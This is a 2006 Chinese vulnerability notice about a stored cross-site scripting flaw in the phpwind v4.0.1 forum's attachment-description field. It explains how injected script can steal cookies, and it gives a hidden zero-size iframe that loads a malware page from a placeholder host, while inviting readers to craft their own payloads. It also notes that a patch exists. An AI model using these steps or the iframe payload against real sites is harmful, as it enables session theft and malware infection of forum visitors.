phpwind v4.0.1直正最新的跨站与挂马漏洞

资源交流吧：VIP

{$Wap}

您现在的位置：九佰度在线九佰度空间 >> 文章中心 >> 黑客前沿 >> 漏洞公告 >> 文章正文

phpwind v4.0.1直正最新的跨站与挂马漏洞

★★★

【字体：小大】

作者：未知文章来源：来自网络点击数：更新时间：2006-2-11

2295
漏洞程度:高危

漏洞程序:phpwind v4.0.1最新免费版

漏洞描述:利用phpwind v4.0.1论坛的发贴附件上传中的附件描述处插入任意代码!

漏洞利用:

在phpwind v4.0.1发贴/回贴的附件上传处,有个附件描述,在此处插入脚本代码,比如插入:

CODE:

[Copy to clipboard]

以下是代码片段：

如图1:

点击提交,发贴/回贴成功后,浏览该贴就会执行插入的代码,没有做过滤,此代码的作用是获取用户的COOKIE信息.看你怎么利用了,代码可以自己构造其它的,经测试,引号是被php过滤了的.结果如图2:

从上图查看源文件可以看出,所插入的代码原样呆在附件描述处,没做过滤!

浏览刚发/回的贴子,结果如下图3:

当然也可以插入框架脚本代码,即我们常说的挂马代码,如:

QUOTE:

以下是代码片段：
<iframe src=http://xxx.com/index1.htm width=0 height=0>

结果也不用说啦!

官方对此漏洞已出补丁,请有此论坛的用户及时更新

[1]

文章录入：qq007 责任编辑：qq007

　本类热门文章

　最新推荐文章

　最新文章

　文章评论（评论内容只代表网友观点，与本站立场无关！）【发表评论】